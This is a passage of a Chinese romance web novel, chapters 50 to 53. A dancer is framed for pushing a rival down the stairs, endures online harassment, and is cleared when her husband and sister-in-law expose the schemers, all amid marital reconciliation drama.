周绾宁站起身,冷冷地看着沐黎:“乱咬人的疯狗,真是让人见识了。” “你!”沐黎面色一变,随即故作云淡风轻,“绾宁,如今我也是你婶婶了,见到婶婶怎么也该恭敬些吧?” “呵,先不说周思恒和我们周家已经断了关系,其次你也得先让周思恒和你领证结婚,先让他承认你周太太的身份再来摆谱。”周绾宁直接将矛盾抛给她,“沐黎,你还是喜欢借刀杀人,只是怎么拿星仪当枪?” 谭星仪找上林星禾为难,并非偶然,周绾宁一眼便看得出来。 沐黎脸色微变,看谭星仪看来,连忙道:“这要看你的朋友做了什么?明明知道秦怀现在的女朋友是星仪,还跟他藕断丝连,真是物以类聚人以群分。” 第50章 交错 我没有推你心爱的妻子。 “沐黎姐, 你够了!” 谢霜鄞站起身,冷冷地看着沐黎, “你今天进到这个包间开始,就一直给星仪姐诉说你追求我哥的时候,被我嫂子插足。” “现在你和周思恒在一起了,也隐隐透出是因为我嫂子的存在而导致你在周思恒那里始终没有位置,你是想让什么都没做的绾宁姐背锅吗?” 谢霜鄞此刻的态度,惊讶了在场的所有人。 谁都知道她与周绾宁不对付,但没想到她现在会为了周绾宁和沐黎闹翻。 沐黎想要说点什么圆一下。 谢霜鄞把天不怕地不怕的劲头用到了她身上:“明明你才是试图插足我哥哥和我嫂子的小三吧。” 沐黎怔了一下, 脸上有些绷不住:“霜鄞, 你在说些什么?” 谢霜鄞不想搭理她, 看向谭星仪:“星仪姐, 我今天说这些也是想让你清醒些,别被有心人利用。” 说完,谢霜鄞离开了这个是非之地。 沐黎给自己找补:“星仪可能小孩现在对我说小三、抢人家东西有些敏感,所以……” 谭星仪淡淡看了她一眼, 随即看向周绾宁:“弄伤你的事情我很抱歉,但她觊觎我的东西不能就这么算了。” 林星禾也从之前的害怕里缓和了过来:“我没有抢你的东西!秦怀也从来不属于我,我和他从来都只是一场笑话, 我怎么会有脸再去触碰他。” 许是林星禾的语调太过绝望,绝望到悲伤,在场的人都有些愣住。 谭星仪微微蹙眉。 这时,包厢门被人一脚踹开,只见秦怀出现在门口。 周绾宁观察着秦怀的神情。 他进来后, 目光率先落在林星禾身上,眼底闪过一丝心疼,再是看向谭星仪。 谭星仪则在看到秦怀出现的那一刻, 彻底崩溃。 “我用了那么多办法都没能让你来找我,没想到她一出事,你就过来了。”向来高傲的人,此刻眼眶泛红,像是再也撑不住这种羞辱。 她拿起一旁包装完好的小玫瑰,直接朝靠近她的秦怀脸上扫去。 秦怀没有躲,只是站在原地承接谭星仪的怒火。 “冷静了吗?”秦怀抬眸对上她的眼睛。 “我冷静了没有?你在我生日会上丢下我去找她的时候,你就知道我一定会发疯,秦怀,你怎么可以这样对我!” “我和星禾之间……”秦怀像是要解释什么,转身朝林星禾看来。 但周绾宁有丝错觉,也感觉到秦怀像是在看自己。 谭星仪见秦怀的目光在林星禾身上移不开,几乎是气疯:“如果你不喜欢我,为什么要来招惹我,我家和你家都知道我们之间在交往,可你一声不吭丢下我,你让我家里人怎么看待我们!” “抱歉,那天……” “那天到底发生了什么,谭小姐不可能不清楚。” 林星禾支棱着站起身,从周绾宁怀里离开,走过去,不卑不亢道,“谭小姐,从知道有我存在的那天起,你无时无刻不在找我麻烦,就算没有你,你的朋友也扰乱我花坊正常生意许久。” 秦怀眼下一沉。 林星禾深吸一口气:“谭小姐你与其因为那天的事情发脾气,不如想想是谁授意自己的朋友打砸我的花店。” “我不是,我没有。”谭星仪下意识向秦怀否认。 林星禾也看向秦怀,眼眸里都是冷漠:“我想这些事是时候在今天说清楚了。” 秦怀这才真真切切看向周绾宁。 周绾宁面带疑惑,不知道他们之间的事情为什么会跟自己有关。 但随着林星禾将事情说出口,周绾宁才知道原来她和秦怀会有纠葛,多是因为自己和谢温言。 她大学时,谢温言正在国外读研,没法经常回国来找她。 但是又惦记她。 于是让秦怀帮忙照顾她。 但秦怀怕她误会,便追求了她的室友林星禾。 周绾宁犹记得大学的前两年,林星禾几乎是整个学院最被人羡慕的女孩,不仅遇到一个富三代,而且对方出钱出力,把她的需求都放在第一位。 她们寝室缺的东西,永远会被秦怀补上,小到饮水机、洗衣机,大到后来学业上需要帮助的事情。 直到第二年夏天,林星禾主动和秦怀分了手。 林星禾还跟她说过:“我从小原生家庭不好,以至于一直在找一个人爱我。我原本以为秦怀就是上天赐予我的救赎,谁知道他一点都没将我放在心上,对我的好也纯粹是愧疚。这时,我才发现自己只是个笑话。上天从来没有眷顾过我。” 那段日子,林星禾的痛苦与难过,周绾宁都看在了眼底。 只是没想到她的痛苦,竟然也有她的一份。 这是周绾宁没有想到并此刻为之万分震惊的事。 林星禾目光冷淡地看着秦怀:“秦先生,我只是一个普通人,玩不过你们,我简单地经营着我的花店,你们之间的恩怨不要再带上我。” 说完,她走向沐黎,“还有你,引导网上舆论骂绾宁,实际上自己是个什么好东西了,也配来指责她!” “你!”沐黎知道眼前的局势对自己不利,也便没有再继续待着,转身离开了。 明潇没想让林星禾继续待在这,看到秦怀和谭星仪。 她给周绾宁使了个眼色。 周绾宁点点头,示意自己会善后。 随即,明潇牵着林星禾离开。 秦怀要追出去,周绾宁挡住了包间的门。 “让我过去。”秦怀垂着眼眸,眼神里满是执念。 ?????? 周绾宁摇头:“是我们对不起星禾,她无辜被扯入,现在我们该尊重她的选择。” “所以,我要去跟她说清楚。”见周绾宁还是不让开,秦怀目光沉下,“周小姐,你和温言哥都能有以后,我也想和林星禾……有、以、后!” 一句话,让秦怀彻底认清自己的内心。 谭星仪也彻底愣住,哭着推开周绾宁跑出了包间的门。 秦怀顺势错身而过,并交代了一句:“大嫂,今天的事对不住,你手上的伤算我的,改天我亲自登门道歉,但今天发生谭星仪做的事,还请你不要告诉温言哥。” 随即不等周绾宁答应,他也离开了包间。 原本还无比热闹的包间,瞬间就只剩下了周绾宁一个人。 她的目光落在一地的玫瑰花,蹲下身捡起保持得还不错的那一束,也出了这包间。 却没想到沐黎一直在楼梯口等她。 “周绾宁,我们不如坐下来好好聊聊?” 周绾宁不打算搭理她,准备下楼梯。 但沐黎强势地上前一步,阻挡了她离开的步伐。 “干什么?” “周绾宁,实话说吧,我真的很不喜欢你。” 对她的话,周绾宁只觉得好笑。 “那你又凭什么认为,我会需要你喜欢我。” “如果我不喜欢你,你这辈子都别再想着进京舞团了,舞团里有我的人脉,再加上思恒入了股,你这辈子都没有机会与我同在一个舞台。” 周绾宁笑意不减:“你到底是从哪来的自信,认为我非进京舞团不可?你又是凭什么认为你在我面前秀你和周思恒的恩爱,会让我破防?” 似是被点到了,沐黎的脸色有一点变化,强撑着说:“你之前那么爱周思恒,爱到让谢温言因为你给周思恒写情书多次破防,现在说对他一点感觉都没有,谁信啊。” “谢温言把他那么炙热的爱意都给了我,谁会在意另一个跟我已经没有任何关系的男人,爱我还是不爱我?” 楼下,正在上阶梯的周思恒脚步一顿,静静聆听上面周绾宁的话。 她对沐黎继续说:“倒是没想到你会那么果断投入周思恒的怀抱,不过你可能不了解他……” 周思恒握着扶手的手,紧了紧。 “周思恒这个人就像是一条冷情的毒蛇,随时会给身边最亲近的人来上一口。他现在给你美好的幻象,改天一定会给你最致命的一击。” 周思恒眼眸一沉,继续缓步往楼上走。 楼上的对话还在继续。 “你是嫉妒我吧,当初周思恒都没给你国外演艺事业铺路,谢温言也没有,而我却轻而易举唾手可得。” 周绾宁路过她,感觉到好笑:“你要这么想,也可以。” 就在她要往楼下走时,沐黎忽然身形不稳,整个朝楼下的楼梯平台摔去。 周绾宁下意识要去抓住她,但两人的手在半空中交错而过。 沐黎摔了下去,在楼梯上滚了好几圈,直到平台出现另一个身影及时托住了她,才让沐黎没有摔得那么严重。 是周思恒。 周绾宁快步下去想要查看沐黎的情况。 却被周思恒大声呵斥:“别过来!” 声音重得让周围路过的客人都看了过来。 再加上沐黎摔倒后一直在痛呼,引来不少人看戏。 听到楼梯口动静的裴特助从楼下上来了,看到此情此景也愣了下,而后连忙阻止保镖将楼下的看客驱散。 “绾宁,你为什么要推我?我的腿,我的腿……” 沐黎一脸痛苦,眼尾染上带着泪意的粉,“绾宁,我只是跟你说了句我要去国外发展了,你嫉妒我受到思恒的疼爱和帮扶,就推我,你知道的,对于一个舞者来说,腿有多重要!” 她抓住周思恒的衣领,哭诉,“思恒,我的腿,救救我,我不想失去舞台。” 眼前突发的一切,让周绾宁此刻的内心也有些慌乱。 但此刻听到沐黎的控诉,她竭力镇定自己:“我没有推过你,是你自己没站稳。沐黎,你少冤枉我。” “难道她会赌上自己的舞蹈生涯陷害你吗!” 忽然,周思恒大声说出这句话。 他抬起头对上周绾宁的眼睛,将刚刚的“意外”彻底盖棺定论。 “呵。”周绾宁低低嗤笑出声,看着周思恒的眼神里流露出些许失望,但也只有一些些而已。 因为她早就明白周思恒是什么样的人。 或许以前的周绾宁会因为小叔叔没有站自己这边会生气与失望,但现在的周绾宁不会再因为周思恒泛起任何波澜。 “周绾宁,你从十五岁开始暗恋我,但我们之间的关系就在那,是名义上的叔侄,不过就是因为拒绝了你,你就对我怀恨在心,现在还对自己未来的婶婶下这样的手……”周思恒原本还要控诉周绾宁,但在看到她眼底极致淡漠的神情时,话语停住。 周绾宁抿了抿唇,最终还是像看到笑话一样,哂笑了下。 她像是看明白了周思恒和沐黎的一唱一和是为哪般。 “再说一遍,我没有推你心爱的妻子。” 裴特助听此,立马回头安排身后的保镖:“去调监控。” “是。” 周绾宁见裴特助在,心里有些许安定下来。 她踩着高跟鞋下楼,在路过他们时,眼神里盈满了之前从未对人有过的高傲:“周思恒,你说这些话,无非是想引导舆论,想对我或者谢温言或者盛坤集团不利。” 她看了眼一旁有人用手机在录制他们的一举一动,不免觉得好笑。 “没想到,到现在,你都还在想着用我们死掉的过去做文章。”她回过头与面色冷到木讷的周思恒对上眼神,吐字清晰地说出一句话,“果然你回来后,没有选择你,是我做过的最正确的选择。” 说完这些,她错过平台上的他们,准备离开。 就在周绾宁快要下到一楼的时候,周思恒横抱起沐黎,冷傲地看着她:“我让你走了吗?这件事,我想你们谢家该给我、该给公众、该给媒体一个交代。” 周绾宁垂在身侧的手攥紧成拳头。【你现在阅读的是魔蝎小说 moxiexs】 50-55 51章 丢下 他们彼此最原始的温度。 “既然你认为这件事是我做的, 冲我来就好,跟谢温言还有盛坤集团都没有关系。” 周绾宁离开不寐酒吧, 只留下一句话,“我一人做事一人担。” 裴特助走过来看了一下沐黎的情况,又抬起一只手示意身后的保镖:“来人,把沐小姐送到盛坤私立医院,请骨科专家好好照顾。” “是!” 裴特助又示意酒店的保安把拍摄视频的人拦下,强行夺走了对方的手机,进行删除。 而周思恒带来的保镖都被拦在了外面。 周思恒意识到现在的情势对他们是不利的。 他嗤笑一声:“怎么, 你们是要把我的妻子控制起来?” “也不是不行。” 裴特助冷漠的眼神落在周思恒身上, 想到自家总裁的预判, 此刻不免对他又有几分佩服, “如果你们不安分,我可以让你们安分。也可以让你清楚,这儿,京市, 到底是谁的地盘。” 说完这句话,裴特助再次给了身后的保镖一个眼神,示意接下来由他善后。 而他则随周绾宁离开。 其他人都是用来善后的, 他需要守护的从来只有他们总裁一心想要守护的人。 在回梧桐湾的路上,东湖上的风静静地吹着周绾宁的脸颊。 她总觉得脸上有些凉凉的,直到冰冷的泪珠滴落在手背上,才醒神过来,自己竟然在哭。 忽的, 她想 椿?日? 起什么,擦掉脸颊上的眼泪,吩咐前方的裴特助:“今天发生的事, 还请不要告诉温言,我不想让他养身期间担心我的事。” 裴特助想了想,如实告诉:“我可以不告诉,但这件事周思恒那边一定会闹大,到时候不一定瞒得过总裁。” 周绾宁点点头:“能拖一会儿是一会儿。” 明潇很快发来消息:【我是到家看到热搜才知道沐黎摔下楼梯的事,她的粉丝全在骂你,说是你推的,这到底怎么一回事啊?】 周绾宁回:【被算计了,但我暂时还不清楚,沐黎和周思恒的目的是什么?】 明潇:【我马上就让公关部的人公关,你不要理会网络上的评论,伤心了我就过来陪你。】 周绾宁:【没事的。】 她将界面切出去,查看热搜上的热评—— 「一定就是嫉妒吧,嫉妒我们沐黎是京舞团首席,又获得了她年少爱的人全部的爱意,所以她现在将怒意发泄到沐黎身上,推沐黎下楼,想毁了沐黎。」 「怎么会有这样恶毒的女人,这种宫斗的套路都是当初陪酒时学来的吧。扒出她现在在的舞团,抵制她之后所有的舞台!」 「我看她就是吃着碗里看着锅里的,从很早就嫉妒沐黎了吧,所以沐黎看上什么男人,她都要抢,她是沐黎深柜吧?」 评论里五花八门的猜测愈演愈烈。 有跑谢温言评论区去叫他“休妻”的,字字句句表达对她的不满。 有去冲许久都没有发表微博的霜舞工作室官博,纷纷留言让霜舞工作室解除与周绾宁的合约。 也有跑去盛坤集团的官微那骚扰。 更有甚至他们在组织影响盛坤集团股票。 周绾宁知道这一次事情很严重,可能会对盛坤造成不可磨灭的影响。 她觉得自己有必要召开澄清的记者会,但是其实就连她自己也不太清楚当时具体怎么了,唯一可以确定的是她没有推过沐黎。 这时,裴特助接到了一个电话,从后视镜里看了眼周绾宁。 周绾宁想,电话对面的应该是谢温言。 裴特助叫停司机,下车去到道路旁接电话。 周绾宁则暗暗观察着裴特助的方向。 最后,他折返回来,直接对司机道:“去机场。” “机场?”周绾宁不解,“去机场干什么?” “港城,总裁知道网上的事情了,叫我送你去港城度假,他说其余的事情都交给他。” 周绾宁低头,不免有些愧疚:“他还好吗?”现在的她,甚至都不知道该怎么面对他。 虽然她没有主动闯祸,但这次事件终究是要归咎于她。 “总裁好不好,这得夫人你亲自去看。” 听道裴特助这样说,周绾宁点点头,答应了这趟港城之旅。 车开过梧桐湾,早就等候在门口的桐姨递过来行李箱,随后他们一起去了机场。 坐在头等舱的时候,周绾宁还没有一种真实感。 下午还在吃饭,晚上去救林星禾,现在又坐上了去港城的飞机。 一切都有些虚幻。 一旁,裴特助正在处理事情,手指在键盘上敲得噼里啪啦得响。 周绾宁叹了口气:“抱歉啊,因为我的事情,导致你还要额外出差,也让林助理只能一个人在家。” 裴特助笑:“所以这次出去,还得买包哄她。” 周绾宁好奇一件事:“谢温言不禁办公室恋情的吗?” 裴特助:“本来是禁的,但一年前总裁想着把你安排到集团里来,就特意把这条删掉了。” “啊?”周绾宁眨巴了两下眼睛,很懵,“这件事,他没有跟我说过啊。” “那段时间,总裁见你不想重回舞台,就想着在总裁办安排职务给你,想要亲自带你,但谁知道你会签到星海幼儿园去。” 裴特助摇摇头:“那时候他还做了另一手准备,想让你去攻读MBA,但后来觉得不能逼你做你不感兴趣的事,就把一切选择权给你,说以后培养你们的孩子也一样。” 孩子…… “温言很喜欢孩子吗?” 裴特助想了想:“这个不太清楚,但总裁一定很期待与您的孩子。” 周绾宁抿了抿唇,望向机舱外城市的灯火。 飞机很快下降高度。 大约半个小时后,周绾宁和裴特助拿上行李,率先一步走出通道。 裴特助带着周绾宁一路从vip通道进到了一辆商务车里。 周绾宁还没看清车里的情况,就被一只骨骼分明的手握住,扯进里面。 车门关上的时候,她的鼻息里盈满了谢温言的香味。 几乎像是奶狗觅食一样,她还没看清他的模样,就已经将自己的双唇凑了过去,只是她没有他那么高,一开始只吻到了他的喉结。 上方传来谢温言低低的笑声:“宁宁是小狗吗?” “唔,四天没见了,亲一下,快。” 谢温言低下头,轻轻啄了下她的唇,又与她额头抵额头,带着一丝宠溺,“想我了没?” “想了。” “哪想了?” 周绾宁知道他这句话的深层次意思,这时候她也愿意与他调情,在他耳畔回复:“哪都想了。” 昏暗的车内光线里,谢温言先是被逗笑,随即眼底露出一抹心疼:“这几天,受委屈了。” 周绾宁为了安抚他,摇摇头:“没有。” “总裁。”这时,前方坐上车的裴特助说道,“已经安排下去了,接下来会全方位监控沐小姐在医院的动向。” 谢温言点点头,随即询问周绾宁:“接下来几天,就好好陪我在港城或者澳城谈事,别去想有的没的。哦,对了,这次我来港城见过了著名舞蹈家唐凌。她在国外有工作室,听到我说我母亲有未面世的舞蹈编曲,版权在你这,她很有兴趣与你合作,想将那几首舞蹈推向世界。” 周绾宁双眼顿时染上小星星:“唐凌,是那个在世界范围都很有影响力的,古典舞老师,唐凌?” “嗯。” “太好了,有了她的影响力,相信温璐芸老师没来得及面世的舞蹈,一定会成为更多人追崇的舞台。”周绾宁瞬间激动得像是小孩子。 谢温言不解:“为什么你不肯叫我妈一声妈妈或婆婆?” “因为在我心里,她首先是温璐芸老师,然后是你妈妈,最后才是我婆婆。”周绾宁扬起笑脸,“我对温璐芸老师有着最崇高的敬意。” “好,那我们一起,将温璐芸老师的舞蹈推广出去。” “嗯。” * 周绾宁去港城的一周里,网络上对她依旧是各种口诛笔伐。 甚至还衍生出了线下anti,一群人堵在星海幼儿园门口,直到周辞安报警抓人。 在警察的询问下才知道这一切都是有组织的,包括网络上一直消散不去网暴周绾宁的人。 不少沐黎的粉丝在谢温言的微博下,要求谢温言离开周绾宁。 有说周绾宁之前陪酒,配不上谢温言,有说周绾宁善妒,不是个好人,让他不要被美色所迷,更有甚者,脑补出了豪门爱恨情仇,觉得周绾宁是谢温言用来报复沐黎嫁给周思恒的工具人。 直到一周后,许久没有更新微博的谢温言,在微博上po出了九张周绾宁在舞蹈室里肆意起舞的照片。 落地镜里,是她飞扬的裙摆,自信洋溢的笑容,还有一个举着手机满眼是她的他。 配字:【是我为热爱的舞蹈不断努力的小姑娘。】 评论区里,一开始都被各种骂人的评论占据,大多是之前磕谢温言和沐黎cp的粉 春鈤 丝,纷纷觉得谢温言是个负心汉。 沐黎都那个样子了,他竟然还那么宠伤害了沐黎的凶手。 说他秀周绾宁的舞蹈,是一点也不在乎沐黎。 也有说他越秀恩爱,就证明越在乎沐黎。 无论底下说了什么,谢温言都没有搭理,直到有人刷祝周绾宁也摔断腿开始,谢温言直接在该评论底下,艾特了盛坤集团法务部。 法务部以最快的速度回应,最后,那位网友灰溜溜删掉了评论。 国度的另一端,周绾宁跳完最后一趴,获得了唐凌老师的鼓掌。 “跳得真不错,之前温言说你是最有他母亲身姿的,我还以为是他滤镜太厚,现在看来啊,果然,虽然那小子不跳舞,但他的眼光是不会错的。” 周绾宁笑着要和谢温言分享喜悦,却见到他此刻一脸严肃地坐在一边,看上去很是苦大仇深的模样。 她跟唐凌老师说了声先休息下,随后像只小蝴蝶一样跑到了谢温言的面前。 见到她来,谢温言立马把手机扣下。 “怎么了,一脸冷冰冰的。”周绾宁指了指他的手机,“你难道是对我有小秘密了?” “没什么。”谢温言把她拉入怀里,眼神里是疼惜。 周绾宁看着他这样,想也知道他是受到了自己网络舆论的影响。 这几天她虽然没有去看网上的事情,但也知道对她的评价会不好。 “温言,我的事情,会不会影响你在盛坤集团的声望?” “如果我的声望是这样的舆论就可以动摇的,那我的能力是不是太脆弱了些?”谢温言让她安心,“放心,一切都还在我的可控范围内。” 周绾宁知道他这是哄她的,这几天,谢书俊给他打了好几次电话,从他们的对话里,她听得出父子俩闹得很僵。 许是看到了她眼底地自责与愧疚,谢温言揉揉她的头发,用额头抵住她的:“再等等。很快的,一切的真相就水落石出了。” 周绾宁相信他。 随后,谢温言带她向唐凌老师告别,一起回了在港城维多利亚港旁的大平层里。 那一晚,是谢温言做完结扎手术后,第一次与她同房。 没了薄膜的阻碍,每一下贴近都是他们彼此最原始的温度。 周绾宁被抵到极深,思绪都紊乱了。 她抓着身下的被单,张嘴不过一瞬,便是他的深吻来袭,而下方他的侵入也不曾松懈。 被单潮了一次又一次。 直到天边翻出鱼肚皮,周绾宁才沉沉睡去。 睡梦中,谢温言的怀抱很是温柔强势,让她这些天因为网络上的不安在他给的避风港里平静不少。 这也让她最近的梦都很温馨。 只是很快,她的梦又变得灰败。 那是儿时的雷暴天,她看见年幼的自己被周思恒丢在原野里。 他说:“就是因为你的爷爷奶奶害死了我的爸爸妈妈,我也要他们失去最挚爱的人!让他们尝尝失去的痛苦!” 之后,周思恒大步跑开。 闷热的风、黑沉的云、卷起的草屑还有逼近的雷暴,无一不摧残着小小的周绾宁。 她看见自己无助大哭,只为喊自己最信任的小叔叔回来。 再后来,小叔叔回来了,将她从雷暴里抱走,他威胁她忘记刚刚的事情。 小小的自己满脸是泪点点头,深怕自己不答应,小叔叔还会将自己丢在雷暴中。 再后来,梦境转到了高悬于梁的父亲。 只是一眼,她吓得从梦境中清醒过来,浑身是虚汗。 窗外不断有风吹进来,带着雷暴天的潮湿。 周绾宁下意识翻身去钻身后谢温言的怀抱,却是落了个空。 床上只有自己,不,应该说整个平层里只有自己。 如果谢温言在的话,不会放任她一个人处在雷暴天的。 她心里一紧,慌乱着心跑去客厅,呼唤着谢温言的名字。 叫了许久他的名字,她都未曾得到他的回应。 第52章 男模 “绾宁姐,你这是想要点男模?”…… 一直当周绾宁跑到楼道里, 看到裴特助后,她的心稍稍安定下来。 裴特助在这里, 就说明她没有被谢温言完全抛下。 只是一早做噩梦,醒来看到雷暴天,谢温言还不在。种种情绪堆积到一起,她鼻尖泛酸,有眼泪要从眼眶里滚落下来。 裴特助见她这样,主动告知谢温言的动向:“总裁回京市去处理事情了,让我和稍后赶来的林晗陪夫人你在港城推广舞曲。” 周绾宁垂下眼眸, 气笑后, 眼泪不住落下。 “混蛋!”她低低唾骂一声。 “总裁怕你被网上舆论影响心情, 决定自己去面对, 夫人你就在港城好好玩几天吧。” 周绾宁伸手:“把我的证件都给我,我要回京市。” 裴特助摇摇头:“总裁说一切都交给他,不能让你操心。” 周绾宁又气又急:“所以他把我一个人丢在这里,还不允许我回京市?我是被他放逐了吗?” 裴特助安抚道:“总裁在港城找到了周思恒当初经济犯罪, 害周氏集团破产的证据,这次回去势必血雨腥风,夫人你要是现在回去, 他怕顾不到你。” 周绾宁听后沉默,只是眼神里隐隐都是伤心。 一切仿佛回到了当初爸爸想让她放心,可最后却是他独自承受所有结果,最后丢下她的时候。 她深吸一口气,见到外面七八个保镖, 知道谢温言是铁了心不想让自己回去了。 她看向裴特助:“那他有没有留什么东西给我。” 裴特助将一张黑卡递了出来。 周绾宁脸上有些无奈,又有些好笑,更多的是生气。 裴特助解释:“总裁说, 为了平息您的怒火,这张卡您随便刷。” 周绾宁看着那张黑卡气笑,最后一把夺过,关上门,大概三十分钟后又走出了房子,直奔港城最豪华的商场购物。 * 那一周,谢温言在网络上揭露了周思恒过去对周氏集团的所作所为,痛斥他是如何忘恩负义,将周氏集团一步步逼至绝境,又是如何一步步将恒星集团发扬光大。 恒星集团的每一次成功,都是对周氏集团的背刺。 也让之前很多人回忆起来周氏集团当初在产品上的用心,产品价格的低廉、用料的厚实。 再加上每次灾后的捐赠,周氏集团都是百万起捐,哪怕是在那个货币还很值钱的年代。 只是后来周氏集团核心商业机密被出卖,再加上恒星集团挤占市场以及利用舆论造势,最后导致周氏集团破产。 原本这轮发言,并没在网络上泛起水花。 直到,谢霜鄞在社交媒体发布一则录音。 录音里,是她和沐黎的交谈—— 谢霜鄞的语气很生气:“沐黎姐,你知不知道因为你的这次陷害,我爸和我哥闹得有多僵。” “谢霜鄞,当初你明明是站在我这边的,现在怎么处处为周绾宁说话!” “毕竟当初我也不知道我一直追崇的舞蹈女神,是我嫂子。” “你可别忘了,你妈妈当初有多厌恶周绾宁,你妈妈要是牢里知道你为周绾宁说话、伸冤,怕是要当没生过你这个女儿。” “我妈是我妈,我是我,你别混为一谈。现在我是来问你为什么要诬陷我嫂子的事情,你知不知道现在整个网络都在网暴她!而且我妈也告诉我了,当初你和她有过约定,你帮我在京舞团青少年组比赛拿到冠军,为我镀金,她帮你让周绾宁放弃进京舞团的机会。” “我让她烂在肚子里的事,没想到她跟你说了。就算是我诬陷周绾宁推的我又怎么样,她不该吗?我巴不得她被网暴,如果不是她的出现,林团长怎么会开始不重视我,连我要离开也不曾挽留,她从一开始看中的就不是我!” “所以,真的是你诬陷周绾宁推你下楼的?” “一想到她被周思恒诬陷,伤心的模样,我就觉得好笑。” 对话到了这就停止了。 谢霜鄞的微博只 春鈤 有一句:“真相在这里,我嫂子是无辜的。” 评论区里,一开始还有沐黎的粉丝犟嘴,各种指责谢霜鄞这个沐黎认定的好妹妹在背刺沐黎,果然是一家人进一家门。 但谢霜鄞在网上也有自己的粉丝,很快两波互撕,扯出了谢温言的采访。 网上舆论越发大。 恒星集团股票大跌,北美传来消息,开除了周思恒作为CEO一职,行业内也是将他半封杀状态。 有不少记者去围堵恒星集团在京市的大楼,但找不到周思恒的位置。 周思恒就像是凭空消失了一样。 谢温言开了一场记者会,宣布和谢书俊断绝父子关系。 一时间,内地关于豪门恩怨的各种猜想遍布社交平台的每个焦炉。 但不过半天,网上的舆论消失得一干二净。 直到三个小时前,谢温言又发了一条一周前,他和周绾宁在舞蹈练习室里的vlog。 那时候周绾宁刚跳完一个动作,然后就像是小蝴蝶一样飞奔到谢温言怀里。 她不知道谢温言在拍摄,仰着头,凝视谢温言。 哪怕是死亡角度,但也极其貌美。 而且她的眼睛里只有谢温言一个,在不太明亮的光线下,也带着亮闪闪的光。 “哥哥,我跳得好不好看?” “好看~” “那哥哥奖励我一个大大的亲亲好不好~” 谢温言被逗笑,低下头去亲吻。 视频到了这里结束。 评论区里,已经没有了上一波黑粉的寻衅,倒是有不少谢温言的梦女粉心碎。 「我一直以为谢总这样冷面霸总不会对人那么温柔,但是现在看着,好羡慕这个夫人啊。」 「你们不觉得很甜吗,她叫他哥哥诶!看着平时就被谢温言宠成小公主。」 「据说两个人是先婚后爱,我当初去辅助他们拍婚纱照,那时候两个人真的是一脸的不熟,没想到现在那么恩爱!」 虽然原主还没有发话,但评论区已经脑补得醉生梦死,嗑糖嗑嗨了。 还有不少人翻谢温言之前的微博。 虽然大多是商务博,但也有部分私人情绪。 其中有一条是谢温言发了婚戒的九宫格照片。 虽然只是婚戒,但他想秀的心一点也掩盖不住,翻来覆去地对着两枚戒指拍照。 暗示自己已经有主的博文。 当初这条评论下的前排还有不少沐黎的粉丝在嗑糖,但现在已经变成了路人来考古的打卡地。 其实谢温言很少发微博,但自从周绾宁被网暴开始,基本是一天一条,也不为她澄清,而是发着周绾宁最真实的模样, 真诚最能定夺人心。 再者,在别人眼里周绾宁是怎样的,其实对于谢温言来说,一点也不重要。 他的周绾宁只要是爱他的,无论是好是坏,他都认了。 开完记者发布会,他从盛坤大楼出来,仰头看着飞机经过白云,转身对昨天才从港城回来的裴特助道:“订机票吧,该去哄人了。” 裴特助点头答应,但也给了他一个提示,让他做好心理准备:“我来之前有向夫人侧面打听过关于她先在对你的态度,她直接无视了。” “我知道她肯定是有怨言的。”谢温言打开手机账单,“第一天买了三个包,第二天买了三条项链,第三天没有买任何东西,第七天买了一艘游艇?” “是,我离开港城前,夫人就搬去了游艇里住。” 谢温言笑了一声:“也好,住在游艇里,三五天不用下来。”他抬头示意了下,“过去吧。” “是。” * 港城最热门的夜店里。 周绾宁抚摸了下自己发疼的太阳穴,看着前方林晗在舞池里尽情摇摆。 平日里,林晗都是穿工装的,没有那么辣妹的时候。 周绾宁也不是很喜欢来夜店,只是从林晗口中得知谢温言要过来,她不想在公寓里见到他,所以就跑来这里散心。 林晗蹦跶完回来,见周绾宁的目光盯着不远处的小帅哥,好奇询问:“宁姐,你这是想要点男模?” 周绾宁喝着果汁摇摇头:“看到那个男的穿着西装革履、戴着金丝框眼镜,身材跟谢温言差不多,就有点看花眼了。” 林晗连忙一脸暧昧地看着她:“你说你,连着三天嘴硬说没有想总裁,还不是暴露了。” “谁说我想他了。” 周绾宁依旧不承认。 不得不说,谢温言为周家做澄清,让她很感动。 在当初,有不少周氏的员工都认为她爸爸不顾几百号员工的未来,是卖了场子和技术给国外的公司,是要将他们丢弃,独自逃离京市去快活。 它们为此怨恨了她父亲很久。 在谢温言这次帮忙澄清后,有不少以前跟着她爸爸混的叔叔阿姨发来消息慰问她,也有的对当初向她爸爸恶言相向的,对她道歉。 但周绾宁没有接受,而是发了她爸爸墓地的地址。 感谢还是道歉,都可以去她父亲说。 她之前已经承受了周家许许多多的事情,现在周氏没了,她要开始享受自己的人生。 所以首当其冲的,是她不想原谅谢温言的这次丢下。 纵使他的出发是为了她好,但是如果以后次次都是这样,所谓为她好,而他独自一人去面对。 那样算什么,她在他眼底就是一个只需要被他保护,无法站在他身边和他一起承受那些风浪的菟丝花吗? 她周绾宁不是需要依附别人的存在。 虽然…… 他们的开始,确实是她走投无路依附他开始的,但也不至于接下来一辈子她都只能那样活着。 她想要和谢温言肩并肩,就像别人眼里那样,她是可以与他在顶峰相见的。 这时,林晗看到手机的信息,旁敲侧击地提醒周绾宁:“宁姐,裴特助发来消息,说谢总已经下飞机了,问我们在哪。” “你就跟他说,我们在夜店里。” “啊,这样不好吧?谢总要是知道你在夜店……” 周绾宁与对面的男模对上眼,一边伸手招呼,一边轻松地回复:“怕什么,我也得以牙还牙啊。” 林晗便给裴特助报了她们在哪的地址。 等到那个和谢温言形似的男人走过来,周绾宁让他坐在自己的卡座,还丢出去一叠钞票。 “喝酒,然后跟我说一百遍对不起。这钱就归你了。” 林晗在一旁听了,差点笑出来。 合着她们总裁夫人因为知道在谢总那得不到这次的道歉,就找了个替身,让替身说道歉。 而替身男模意识到自己不痛不痒说一百遍对不起,就能拿到那么厚一叠钱,当即拿起酒杯开始道歉。 大概在替身说到七十八遍对不起后,周绾宁看到夜店大门口出现了一个熟悉的身影。 他和她眼前这个商务型男模,衣风格有着百分之七十的相似…… 第53章 惩罚 一路往上,轻啄慢吻。 周绾宁用一旁的扇子提起前面男模的下巴, 又对上不远处谢温言的视线。 他的眼神肉眼可见的阴沉了。 看着很生气。 以前看到他生气,周绾宁会害怕, 会想哄他。 但今天看到他生气,她有一种恃宠而骄后,叛逆心越来越重的感觉。 他总是认为事情受自己所控,所以放任她一个人留在港城等他,是觉得她一定会乖乖听他的吗? 那她今天就要做给他看,她并非他眼里的乖小孩。 “总、总裁?” 林晗受惊一般,看着走过来的谢温言, 有些不知所措, 目光对上裴特助的时候, 